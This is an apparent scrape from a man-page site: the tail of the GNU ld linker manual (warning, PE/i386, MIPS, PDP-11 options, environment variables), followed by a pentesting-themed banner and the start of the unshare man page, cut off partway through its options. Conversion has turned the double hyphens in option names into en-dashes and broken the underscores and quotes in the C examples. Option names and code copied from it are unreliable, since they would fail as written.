The default state depends upon how the linker was configured when it was built. The –no-warn-execstack option always puts the linker into the no-warnings state. The –warn-execstack option puts the linker into the warn-always state. The –warn-execstack-objects option puts the linker into the warn-for-object-files-only state. Note: ELF format input files can specify that they need an executable stack by having a .note.GNU-stack section with the executable bit set in its section flags. They can specify that they do not need an executable stack by having the same section, but without the executable flag bit set. If an input file does not have a .note.GNU-stack section then the default behaviour is target specific. For some targets, then absence of such a section implies that an executable stack is required. This is often a problem for hand crafted assembler files.

–error-execstack

–no-error-execstack

If the linker is going to generate a warning message about an executable stack then the –error-execstack option will instead change that warning into an error. Note - this option does not change the linker’s execstack warning generation state. Use –warn-execstack or –warn-execstack-objects to set a specific warning state. The –no-error-execstack option will restore the default behaviour of generating warning messages.

–warn-multiple-gp
Warn if multiple global pointer values are required in the output file. This is only meaningful for certain processors, such as the Alpha. Specifically, some processors put large-valued constants in a special section. A special register (the global pointer) points into the middle of this section, so that constants can be loaded efficiently via a base-register relative addressing mode. Since the offset in base-register relative mode is fixed and relatively small (e.g., 16 bits), this limits the maximum size of the constant pool. Thus, in large programs, it is often necessary to use multiple global pointer values in order to be able to address all possible constants. This option causes a warning to be issued whenever this case occurs.

–warn-once
Only warn once for each undefined symbol, rather than once per module which refers to it.

–warn-rwx-segments

–no-warn-rwx-segments

Warn if the linker creates a loadable, non-zero sized segment that has all three of the read, write and execute permission flags set. Such a segment represents a potential security vulnerability. In addition warnings will be generated if a thread local storage segment is created with the execute permission flag set, regardless of whether or not it has the read and/or write flags set. These warnings are enabled by default. They can be disabled via the –no-warn-rwx-segments option and re-enabled via the –warn-rwx-segments option.

–error-rwx-segments

–no-error-rwx-segments

If the linker is going to generate a warning message about an executable, writeable segment, or an executable TLS segment, then the –error-rwx-segments option will turn this warning into an error instead. The –no-error-rwx-segments option will restore the default behaviour of just generating a warning message. Note - the –error-rwx-segments option does not by itself turn on warnings about these segments. These warnings are either enabled by default, if the linker was configured that way, or via the –warn-rwx-segments command line option.

–warn-section-align
Warn if the address of an output section is changed because of alignment. Typically, the alignment will be set by an input section. The address will only be changed if it not explicitly specified; that is, if the SECTIONS command does not specify a start address for the section.

–warn-textrel
Warn if the linker adds DT_TEXTREL to a position-independent executable or shared object.

–warn-alternate-em
Warn if an object has alternate ELF machine code.

–warn-unresolved-symbols
If the linker is going to report an unresolved symbol (see the option –unresolved-symbols) it will normally generate an error. This option makes it generate a warning instead.

–error-unresolved-symbols
This restores the linker’s default behaviour of generating errors when it is reporting unresolved symbols.

–whole-archive
For each archive mentioned on the command line after the –whole-archive option, include every object file in the archive in the link, rather than searching the archive for the required object files. This is normally used to turn an archive file into a shared library, forcing every object to be included in the resulting shared library. This option may be used more than once. Two notes when using this option from gcc: First, gcc doesn’t know about this option, so you have to use -Wl,-whole-archive. Second, don’t forget to use -Wl,-no-whole-archive after your list of archives, because gcc will add its own list of archives to your link and you may not want this flag to affect those as well.

–wrap=symbol
Use a wrapper function for symbol. Any undefined reference to symbol will be resolved to _ _wrap_symbol. Any undefined reference to _ _real_symbol will be resolved to symbol. This can be used to provide a wrapper for a system function. The wrapper function should be called _ _wrap_symbol. If it wishes to call the system function, it should call _ _real_symbol. Here is a trivial example: void * _ _wrap_malloc (size_t c) { printf (“malloc called with %zu “, c); return _ _real_malloc (c); } If you link other code with this file using –wrap malloc, then all calls to malloc will call the function _ _wrap_malloc instead. The call to _ _real_malloc in _ _wrap_malloc will call the real malloc function. You may wish to provide a _ _real_malloc function as well, so that links without the –wrap option will succeed. If you do this, you should not put the definition of _ _real_malloc in the same file as _ _wrap_malloc; if you do, the assembler may resolve the call before the linker has a chance to wrap it to malloc. Only undefined references are replaced by the linker. So, translation unit internal references to symbol are not resolved to _ _wrap_symbol. In the next example, the call to f in g is not resolved to _ _wrap_f. int f (void) { return 123; } int g (void) { return f(); }

–eh-frame-hdr

–no-eh-frame-hdr

Request (–eh-frame-hdr) or suppress (–no-eh-frame-hdr) the creation of .eh_frame_hdr section and ELF PT_GNU_EH_FRAME segment header.

–no-ld-generated-unwind-info
Request creation of .eh_frame unwind info for linker generated code sections like PLT. This option is on by default if linker generated unwind info is supported. This option also controls the generation of .sframe stack trace info for linker generated code sections like PLT.

–enable-new-dtags

–disable-new-dtags

This linker can create the new dynamic tags in ELF. But the older ELF systems may not understand them. If you specify –enable-new-dtags, the new dynamic tags will be created as needed and older dynamic tags will be omitted. If you specify –disable-new-dtags, no new dynamic tags will be created. By default, the new dynamic tags are not created. Note that those options are only available for ELF systems.

–hash-size=number
Set the default size of the linker’s hash tables to a prime number close to number. Increasing this value can reduce the length of time it takes the linker to perform its tasks, at the expense of increasing the linker’s memory requirements. Similarly reducing this value can reduce the memory requirements at the expense of speed.

–hash-style=style
Set the type of linker’s hash table(s). style can be either sysv for classic ELF .hash section, gnu for new style GNU .gnu.hash section or both for both the classic ELF .hash and new style GNU .gnu.hash hash tables. The default depends upon how the linker was configured, but for most Linux based systems it will be both.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

On ELF platforms, these options control how DWARF debug sections are compressed using zlib. –compress-debug-sections=none doesn’t compress DWARF debug sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections and renames them to begin with .zdebug instead of .debug. –compress-debug-sections=zlib-gabi also compresses DWARF debug sections, but rather than renaming them it sets the SHF_COMPRESSED flag in the sections’ headers. The –compress-debug-sections=zlib option is an alias for –compress-debug-sections=zlib-gabi. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note that this option overrides any compression in input debug sections, so if a binary is linked with –compress-debug-sections=none for example, then any compressed debug sections in input files will be uncompressed before they are copied into the output binary. The default compression behaviour varies depending upon the target involved and the configure options used to build the toolchain. The default can be determined by examining the output from the linker’s –help option.

–reduce-memory-overheads
This option reduces memory requirements at ld runtime, at the expense of linking speed. This was introduced to select the old O(n^2) algorithm for link map file generation, rather than the new O(n) algorithm which uses about 40% more memory for symbol storage. Another effect of the switch is to set the default hash table size to 1021, which again saves memory at the cost of lengthening the linker’s run time. This is not done however if the –hash-size switch has been used. The –reduce-memory-overheads switch may be also be used to enable other tradeoffs in future versions of the linker.

–max-cache-size=size
ld normally caches the relocation information and symbol tables of input files in memory with the unlimited size. This option sets the maximum cache size to size.

–build-id

–build-id=style

Request the creation of a .note.gnu.build-id ELF note section or a .buildid COFF section. The contents of the note are unique bits identifying this linked file. style can be uuid to use 128 random bits, sha1 to use a 160-bit SHA1 hash on the normative parts of the output contents, md5 to use a 128-bit MD5 hash on the normative parts of the output contents, or 0xhexstring to use a chosen bit string specified as an even number of hexadecimal digits (- and : characters between digit pairs are ignored). If style is omitted, sha1 is used. The md5 and sha1 styles produces an identifier that is always the same in an identical output file, but will be unique among all nonidentical output files. It is not intended to be compared as a checksum for the file’s contents. A linked file may be changed later by other tools, but the build ID bit string identifying the original linked file does not change. Passing none for style disables the setting from any --build-id options earlier on the command line.

–package-metadata=JSON
Request the creation of a .note.package ELF note section. The contents of the note are in JSON format, as per the package metadata specification. For more information see: https://systemd.io/ELF_PACKAGE_METADATA/ If the JSON argument is missing/empty then this will disable the creation of the metadata note, if one had been enabled by an earlier occurrence of the –package-metadata option. If the linker has been built with libjansson, then the JSON string will be validated.

The i386 PE linker supports the -shared option, which causes the output to be a dynamically linked library (DLL) instead of a normal executable. You should name the output *.dll when you use this option. In addition, the linker fully supports the standard *.def files, which may be specified on the linker command line like an object file (in fact, it should precede archives it exports symbols from, to ensure that they get linked in, just like a normal object file).

In addition to the options common to all targets, the i386 PE linker support additional command-line options that are specific to the i386 PE target. Options that take values may be separated from their values by either a space or an equals sign.

–add-stdcall-alias
If given, symbols with a stdcall suffix (@nn) will be exported as-is and also with the suffix stripped. [This option is specific to the i386 PE targeted port of the linker]

–base-file file
Use file as the name of a file in which to save the base addresses of all the relocations needed for generating DLLs with dlltool. [This is an i386 PE specific option]

–dll
Create a DLL instead of a regular executable. You may also use -shared or specify a LIBRARY in a given .def file. [This option is specific to the i386 PE targeted port of the linker]

–enable-long-section-names

–disable-long-section-names

The PE variants of the COFF object format add an extension that permits the use of section names longer than eight characters, the normal limit for COFF. By default, these names are only allowed in object files, as fully-linked executable images do not carry the COFF string table required to support the longer names. As a GNU extension, it is possible to allow their use in executable images as well, or to (probably pointlessly!) disallow it in object files, by using these two options. Executable images generated with these long section names are slightly non-standard, carrying as they do a string table, and may generate confusing output when examined with non-GNU PE-aware tools, such as file viewers and dumpers. However, GDB relies on the use of PE long section names to find Dwarf-2 debug information sections in an executable image at runtime, and so if neither option is specified on the command-line, ld will enable long section names, overriding the default and technically correct behaviour, when it finds the presence of debug information while linking an executable image and not stripping symbols. [This option is valid for all PE targeted ports of the linker]

–enable-stdcall-fixup

–disable-stdcall-fixup

If the link finds a symbol that it cannot resolve, it will attempt to do “fuzzy linking” by looking for another defined symbol that differs only in the format of the symbol name (cdecl vs stdcall) and will resolve that symbol by linking to the match. For example, the undefined symbol _foo might be linked to the function _foo@12, or the undefined symbol _bar@16 might be linked to the function _bar. When the linker does this, it prints a warning, since it normally should have failed to link, but sometimes import libraries generated from third-party dlls may need this feature to be usable. If you specify –enable-stdcall-fixup, this feature is fully enabled and warnings are not printed. If you specify –disable-stdcall-fixup, this feature is disabled and such mismatches are considered to be errors. [This option is specific to the i386 PE targeted port of the linker]

–leading-underscore

–no-leading-underscore

For most targets default symbol-prefix is an underscore and is defined in target’s description. By this option it is possible to disable/enable the default underscore symbol-prefix.

–export-all-symbols
If given, all global symbols in the objects used to build a DLL will be exported by the DLL. Note that this is the default if there otherwise wouldn’t be any exported symbols. When symbols are explicitly exported via DEF files or implicitly exported via function attributes, the default is to not export anything else unless this option is given. Note that the symbols DllMain@12, DllEntryPoint@0, DllMainCRTStartup@12, and impure_ptr will not be automatically exported. Also, symbols imported from other DLLs will not be re-exported, nor will symbols specifying the DLL’s internal layout such as those beginning with _head_ or ending with _iname. In addition, no symbols from libgcc, libstd++, libmingw32, or crtX.o will be exported. Symbols whose names begin with _ _rtti_ or _ _builtin_ will not be exported, to help with C++ DLLs. Finally, there is an extensive list of cygwin-private symbols that are not exported (obviously, this applies on when building DLLs for cygwin targets). These cygwin-excludes are: _cygwin_dll_entry@12, _cygwin_crt0_common@8, _cygwin_noncygwin_dll_entry@12, _fmode, _impure_ptr, cygwin_attach_dll, cygwin_premain0, cygwin_premain1, cygwin_premain2, cygwin_premain3, and environ. [This option is specific to the i386 PE targeted port of the linker]

–exclude-symbols symbol,symbol,…
Specifies a list of symbols which should not be automatically exported. The symbol names may be delimited by commas or colons. [This option is specific to the i386 PE targeted port of the linker]

–exclude-all-symbols
Specifies no symbols should be automatically exported. [This option is specific to the i386 PE targeted port of the linker]

–file-alignment
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to the i386 PE targeted port of the linker]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. The default is 1MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to the i386 PE targeted port of the linker]

–kill-at
If given, the stdcall suffixes (@nn) will be stripped from symbols before they are exported. [This option is specific to the i386 PE targeted port of the linker]

–large-address-aware
If given, the appropriate bit in the “Characteristics” field of the COFF header is set to indicate that this executable supports virtual addresses greater than 2 gigabytes. This should be used in conjunction with the /3GB or /USERVA=value megabytes switch in the “[operating systems]” section of the BOOT.INI. Otherwise, this bit has no effect. [This option is specific to PE targeted ports of the linker]

–disable-large-address-aware
Reverts the effect of a previous –large-address-aware option. This is useful if –large-address-aware is always set by the compiler driver (e.g. Cygwin gcc) and the executable does not support virtual addresses greater than 2 gigabytes. [This option is specific to PE targeted ports of the linker]

–major-image-version value
Sets the major number of the “image version”. Defaults to 1. [This option is specific to the i386 PE targeted port of the linker]

–major-os-version value
Sets the major number of the “os version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–major-subsystem-version value
Sets the major number of the “subsystem version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–minor-image-version value
Sets the minor number of the “image version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-os-version value
Sets the minor number of the “os version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-subsystem-version value
Sets the minor number of the “subsystem version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–output-def file
The linker will create the file file which will contain a DEF file corresponding to the DLL the linker is generating. This DEF file (which should be called *.def) may be used to create an import library with dlltool or may be used as a reference to automatically or implicitly exported symbols. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-image-base

–enable-auto-image-base=value

Automatically choose the image base for DLLs, optionally starting with base value, unless one is specified using the --image-base argument. By using a hash generated from the dllname to create unique image bases for each DLL, in-memory collisions and relocations which can delay program execution are avoided. [This option is specific to the i386 PE targeted port of the linker]

–disable-auto-image-base
Do not automatically generate a unique image base. If there is no user-specified image base (--image-base) then use the platform default. [This option is specific to the i386 PE targeted port of the linker]

–dll-search-prefix string
When linking dynamically to a dll without an import library, search for <string><basename>.dll in preference to lib<basename>.dll. This behaviour allows easy distinction between DLLs built for the various “subplatforms”: native, cygwin, uwin, pw, etc. For instance, cygwin DLLs typically use --dll-search-prefix=cyg. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-import
Do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs, thus making it possible to bypass the dllimport mechanism on the user side and to reference unmangled symbol names. [This option is specific to the i386 PE targeted port of the linker] The following remarks pertain to the original implementation of the feature and are obsolete nowadays for Cygwin and MinGW targets. Note: Use of the ‘auto-import’ extension will cause the text section of the image file to be made writable. This does not conform to the PE-COFF format specification published by Microsoft. Note - use of the ‘auto-import’ extension will also cause read only data which would normally be placed into the .rdata section to be placed into the .data section instead. This is in order to work around a problem with consts that is described here: http://www.cygwin.com/ml/cygwin/2004-09/msg01101.html Using ‘auto-import’ generally will ‘just work’ – but sometimes you may see this message: “variable ‘<var>’ can’t be auto-imported. Please read the documentation for ld’s --enable-auto-import for details.” This message occurs when some (sub)expression accesses an address ultimately given by the sum of two constants (Win32 import tables only allow one). Instances where this may occur include accesses to member fields of struct variables imported from a DLL, as well as using a constant index into an array variable imported from a DLL. Any multiword variable (arrays, structs, long long, etc) may trigger this error condition. However, regardless of the exact data type of the offending exported variable, ld will always detect it, issue the warning, and exit. There are several ways to address this difficulty, regardless of the data type of the exported variable: One way is to use –enable-runtime-pseudo-reloc switch. This leaves the task of adjusting references in your client code for runtime environment, so this method works only when runtime environment supports this feature. A second solution is to force one of the ‘constants’ to be a variable – that is, unknown and un-optimizable at compile time. For arrays, there are two possibilities: a) make the indexee (the array’s address) a variable, or b) make the ‘constant’ index a variable. Thus: extern type extern_array[]; extern_array[1] –> { volatile type *t=extern_array; t[1] } or extern type extern_array[]; extern_array[1] –> { volatile int t=1; extern_array[t] } For structs (and most other multiword data types) the only option is to make the struct itself (or the long long, or the …) variable: extern struct s extern_struct; extern_struct.field –> { volatile struct s *t=&extern_struct; t->field } or extern long long extern_ll; extern_ll –> { volatile long long * local_ll=&extern_ll; *local_ll } A third method of dealing with this difficulty is to abandon ‘auto-import’ for the offending symbol and mark it with _ _declspec(dllimport). However, in practice that requires using compile-time #defines to indicate whether you are building a DLL, building client code that will link to the DLL, or merely building/linking to a static library. In making the choice between the various methods of resolving the ‘direct address with constant offset’ problem, you should consider typical real-world usage: Original: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } Solution 1: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ /* This workaround is for win32 and cygwin; do not “optimize” */ volatile int *parr = arr; printf("%d “,parr[1]); } Solution 2: –foo.h /* Note: auto-export is assumed (no _ _declspec(dllexport)) */ #if (defined(_WIN32) || defined(_ _CYGWIN_ _)) && \ !(defined(FOO_BUILD_DLL) || defined(FOO_STATIC)) #define FOO_IMPORT _ _declspec(dllimport) #else #define FOO_IMPORT #endif extern FOO_IMPORT int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } A fourth way to avoid this problem is to re-code your library to use a functional interface rather than a data interface for the offending variables (e.g. set_foo() and get_foo() accessor functions).

–disable-auto-import
Do not attempt to do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-runtime-pseudo-reloc
If your code contains expressions described in –enable-auto-import section, that is, DATA imports from DLL with non-zero offset, this switch will create a vector of ‘runtime pseudo relocations’ which can be used by runtime environment to adjust references to such data in your client code. [This option is specific to the i386 PE targeted port of the linker]

–disable-runtime-pseudo-reloc
Do not create pseudo relocations for non-zero offset DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-extra-pe-debug
Show additional debug info related to auto-import symbol thunking. [This option is specific to the i386 PE targeted port of the linker]

–section-alignment
Sets the section alignment. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. [This option is specific to the i386 PE targeted port of the linker]

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. The default is 2MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to the i386 PE targeted port of the linker] The following options set flags in the DllCharacteristics field of the PE file header: [These options are specific to PE targeted ports of the linker]

–high-entropy-va

–disable-high-entropy-va

Image is compatible with 64-bit address space layout randomization (ASLR). This option is enabled by default for 64-bit PE images. This option also implies –dynamicbase and –enable-reloc-section.

–dynamicbase

–disable-dynamicbase

The image base address may be relocated using address space layout randomization (ASLR). This feature was introduced with MS Windows Vista for i386 PE targets. This option is enabled by default but can be disabled via the –disable-dynamicbase option. This option also implies –enable-reloc-section.

–forceinteg

–disable-forceinteg

Code integrity checks are enforced. This option is disabled by default.

–nxcompat

–disable-nxcompat

The image is compatible with the Data Execution Prevention. This feature was introduced with MS Windows XP SP2 for i386 PE targets. The option is enabled by default.

–no-isolation

–disable-no-isolation

Although the image understands isolation, do not isolate the image. This option is disabled by default.

–no-seh

–disable-no-seh

The image does not use SEH. No SE handler may be called from this image. This option is disabled by default.

–no-bind

–disable-no-bind

Do not bind this image. This option is disabled by default.

–wdmdriver

–disable-wdmdriver

The driver uses the MS Windows Driver Model. This option is disabled by default.

–tsaware

–disable-tsaware

The image is Terminal Server aware. This option is disabled by default.

–insert-timestamp

–no-insert-timestamp

Insert a real timestamp into the image. This is the default behaviour as it matches legacy code and it means that the image will work with other, proprietary tools. The problem with this default is that it will result in slightly different images being produced each time the same sources are linked. The option –no-insert-timestamp can be used to insert a zero value for the timestamp, this ensuring that binaries produced from identical sources will compare identically. If –insert-timestamp is active then the time inserted is either the time that the linking takes place or, if the SOURCE_DATE_EPOCH environment variable is defined, the number of seconds since Unix epoch as specified by that variable.

–enable-reloc-section

–disable-reloc-section

Create the base relocation table, which is necessary if the image is loaded at a different image base than specified in the PE header. This option is enabled by default.

The C6X uClinux target uses a binary format called DSBT to support shared libraries. Each shared library in the system needs to have a unique index; all executables use an index of 0.

–dsbt-size size
This option sets the number of entries in the DSBT of the current executable or shared library to size. The default is to create a table with 64 entries.

–dsbt-index index
This option sets the DSBT index of the current executable or shared library to index. The default is 0, which is appropriate for generating executables. If a shared library is generated with a DSBT index of 0, the R_C6000_DSBT_INDEX relocs are copied into the output file. The –no-merge-exidx-entries switch disables the merging of adjacent exidx entries in frame unwind info.

–branch-stub
This option enables linker branch relaxation by inserting branch stub sections when needed to extend the range of branches. This option is usually not required since C-SKY supports branch and call instructions that can access the full memory range and branch relaxation is normally handled by the compiler or assembler.

–stub-group-size=N
This option allows finer control of linker branch stub creation. It sets the maximum size of a group of input sections that can be handled by one stub section. A negative value of N locates stub sections after their branches, while a positive value allows stub sections to appear either before or after the branches. Values of 1 or -1 indicate that the linker should choose suitable defaults.

The 68HC11 and 68HC12 linkers support specific options to control the memory bank switching mapping and trampoline code generation.

–no-trampoline
This option disables the generation of trampoline. By default a trampoline is generated for each far function which is called using a jsr instruction (this happens when a pointer to a far function is taken).

–bank-window name
This option indicates to the linker the name of the memory region in the MEMORY specification that describes the memory bank window. The definition of such region is then used by the linker to compute paging and addresses within the memory window.

The following options are supported to control handling of GOT generation when linking for 68K targets.

–got=type
This option tells the linker which GOT generation scheme to use. type should be one of single, negative, multigot or target. For more information refer to the Info entry for ld.

The following options are supported to control microMIPS instruction generation and branch relocation checks for ISA mode transitions when linking for MIPS targets.

–insn32

–no-insn32

These options control the choice of microMIPS instructions used in code generated by the linker, such as that in the PLT or lazy binding stubs, or in relaxation. If –insn32 is used, then the linker only uses 32-bit instruction encodings. By default or if –no-insn32 is used, all instruction encodings are used, including 16-bit ones where possible.

–ignore-branch-isa

–no-ignore-branch-isa

These options control branch relocation checks for invalid ISA mode transitions. If –ignore-branch-isa is used, then the linker accepts any branch relocations and any ISA mode transition required is lost in relocation calculation, except for some cases of BAL instructions which meet relaxation conditions and are converted to equivalent JALX instructions as the associated relocation is calculated. By default or if –no-ignore-branch-isa is used a check is made causing the loss of an ISA mode transition to produce an error.

–compact-branches

–no-compact-branches

These options control the generation of compact instructions by the linker in the PLT entries for MIPS R6.

For the pdp11-aout target, three variants of the output format can be produced as selected by the following options. The default variant for pdp11-aout is the –omagic option, whereas for other targets –nmagic is the default. The –imagic option is defined only for the pdp11-aout target, while the others are described here as they apply to the pdp11-aout target.

-N

–omagic

Mark the output as OMAGIC (0407) in the a.out header to indicate that the text segment is not to be write-protected and shared. Since the text and data sections are both readable and writable, the data section is allocated immediately contiguous after the text segment. This is the oldest format for PDP11 executable programs and is the default for ld on PDP11 Unix systems from the beginning through 2.11BSD.

-n

–nmagic

Mark the output as NMAGIC (0410) in the a.out header to indicate that when the output file is executed, the text portion will be read-only and shareable among all processes executing the same file. This involves moving the data areas up to the first possible 8K byte page boundary following the end of the text. This option creates a pure executable format.

-z

–imagic

Mark the output as IMAGIC (0411) in the a.out header to indicate that when the output file is executed, the program text and data areas will be loaded into separate address spaces using the split instruction and data space feature of the memory management unit in larger models of the PDP11. This doubles the address space available to the program. The text segment is again pure, write-protected, and shareable. The only difference in the output format between this option and the others, besides the magic number, is that both the text and data sections start at location 0. The -z option selected this format in 2.11BSD. This option creates a separate executable format.

–no-omagic
Equivalent to –nmagic for pdp11-aout.

ENVIRONMENT

You can change the behaviour of ld with the environment variables GNUTARGET, LDEMULATION and COLLECT_NO_DEMANGLE.

GNUTARGET determines the input-file object format if you don’t use -b (or its synonym –format). Its value should be one of the BFD names for an input format. If there is no GNUTARGET in the environment, ld uses the natural format of the target. If GNUTARGET is set to default then BFD attempts to discover the input format by examining binary input files; this method often succeeds, but there are potential ambiguities, since there is no method of ensuring that the magic number used to specify object-file formats is unique. However, the configuration procedure for BFD on each system places the conventional format for that system first in the search-list, so ambiguities are resolved in favor of convention.

LDEMULATION determines the default emulation if you don’t use the -m option. The emulation can affect various aspects of linker behaviour, particularly the default linker script. You can list the available emulations with the –verbose or -V options. If the -m option is not used, and the LDEMULATION environment variable is not defined, the default emulation depends upon how the linker was configured.

Normally, the linker will default to demangling symbols. However, if COLLECT_NO_DEMANGLE is set in the environment, then it will default to not demangling symbols. This environment variable is used in a similar fashion by the gcc linker wrapper program. The default may be overridden by the –demangle and –no-demangle options.

SEE ALSO

ar (1), nm (1), objcopy (1), objdump (1), readelf (1) and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1405 - Linux cli command unshare

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unshare and provides detailed information about the command unshare, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unshare.

NAME 🖥️ unshare 🖥️

run program in new namespaces

SYNOPSIS

unshare [options] [program [arguments]]

DESCRIPTION

The unshare command creates new namespaces (as specified by the command-line options described below) and then executes the specified program. If program is not given, then “${SHELL}” is run (default: /bin/sh).

By default, a new namespace persists only as long as it has member processes. A new namespace can be made persistent even when it has no member processes by bind mounting /proc/pid/ns/type files to a filesystem path. A namespace that has been made persistent in this way can subsequently be entered with nsenter(1) even after the program terminates (except PID namespaces where a permanently running init process is required). Once a persistent namespace is no longer needed, it can be unpersisted by using umount(8) to remove the bind mount. See the EXAMPLES section for more details.

unshare since util-linux version 2.36 uses /proc/[pid]/ns/pid_for_children and /proc/[pid]/ns/time_for_children files for persistent PID and TIME namespaces. This change requires Linux kernel 4.17 or newer.

The following types of namespaces can be created with unshare:

mount namespace

Mounting and unmounting filesystems will not affect the rest of the system, except for filesystems which are explicitly marked as shared (with mount –make-shared; see /proc/self/mountinfo or findmnt -o+PROPAGATION for the shared flags). For further details, see mount_namespaces(7).

unshare since util-linux version 2.27 automatically sets propagation to private in a new mount namespace to make sure that the new namespace is really unshared. It’s possible to disable this feature with option –propagation unchanged. Note that private is the kernel default.

UTS namespace

Setting hostname or domainname will not affect the rest of the system. For further details, see uts_namespaces(7).

IPC namespace

The process will have an independent namespace for POSIX message queues as well as System V message queues, semaphore sets and shared memory segments. For further details, see ipc_namespaces(7).

network namespace

The process will have independent IPv4 and IPv6 stacks, IP routing tables, firewall rules, the /proc/net and /sys/class/net directory trees, sockets, etc. For further details, see network_namespaces(7).

PID namespace

Children will have a distinct set of PID-to-process mappings from their parent. For further details, see pid_namespaces(7).

cgroup namespace

The process will have a virtualized view of /proc/self/cgroup, and new cgroup mounts will be rooted at the namespace cgroup root. For further details, see cgroup_namespaces(7).

user namespace

The process will have a distinct set of UIDs, GIDs and capabilities. For further details, see user_namespaces(7).

time namespace

The process can have a distinct view of CLOCK_MONOTONIC and/or CLOCK_BOOTTIME which can be changed using /proc/self/timens_offsets. For further details, see time_namespaces(7).

OPTIONS

-i, –ipc[**=**file]

Create a new IPC namespace. If file is specified, then the namespace is made persistent by creating a bind mount at file.

-m, –mount[**=**file]

Create a new mount namespace. If file is specified, then the namespace is made persistent by creating a bind mount at file. Note that file must be located on a mount whose propagation type is not shared (or an error results). Use the command findmnt -o+PROPAGATION when not sure about the current setting. See also the examples below.

-n, –net[**=**file]

Create a new network namespace. If file is specified, then the namespace is made persistent by creating a bind mount at file.

-p, –pid[**=**file]

Create a new PID namespace. If file is specified, then the namespace is made persistent by creating a bind mount at file. (Creation of a persistent PID namespace will fail if the –fork option is not also specified.)

See also the –fork and –mount-proc options.

-u, –uts[**=**file]

Create a new UTS namespace. If file is specified, then the namespace is made persistent by creating a bind mount at file.

-U, –user[**=**file]

Create a new user namespace. If file is specified, then the namespace is made persistent by creating a bind mount at file.

-C, –cgroup[**=**file]

Create a new cgroup namespace. If file is specified, then the namespace is made persistent by creating a bind mount at file.

-T, –time[**=**file]

Create a new time namespace. If file is specified, then the namespace is made persistent by creating a bind mount at file. The –monotonic and –boottime options can be used to specify the corresponding offset in the time namespace.

-f, –fork

Fork the specified program as a child process of unshare rather than running it directly. This is useful when creating a new PID namespace. Note that when unshare is waiting for the child process, then it ignores SIGINT and SIGTERM and does not forward any signals to the child. It is necessary to send signals to the child process.

–keep-caps

When the –user option is given, ensure that capabilities granted in the user namespace are preserved in the child process.

–kill-child[**=**signame]

When unshare terminates, have signame be sent to the forked child process. Combined with –pid this allows for an easy and reliable killing of the entire process tree below unshare. If not given, signame defaults to SIGKILL. This option implies –fork.

–mount-proc[**=**mountpoint]

Just before running the program, mount the proc filesystem at mountpoint (default is /proc). This is useful when creating a new PID namespace. It also implies creating a new mount namespace since the /proc mount would otherwise mess up existing programs on the system. The new proc filesystem is explicitly mounted as private (with MS_PRIVATE|MS_REC).

–mount-binfmt[**=**mountpoint]

Just before running the program, mount the binfmt_misc filesystem at mountpoint (default is /proc/sys/fs/binfmt_misc). It also implies creating a new mount namespace since the binfmt_misc mount would otherwise mess up existing programs on the system. The new binfmt_misc filesystem is explicitly mounted as private (with MS_PRIVATE|MS_REC).

**–map-user=**uid|name

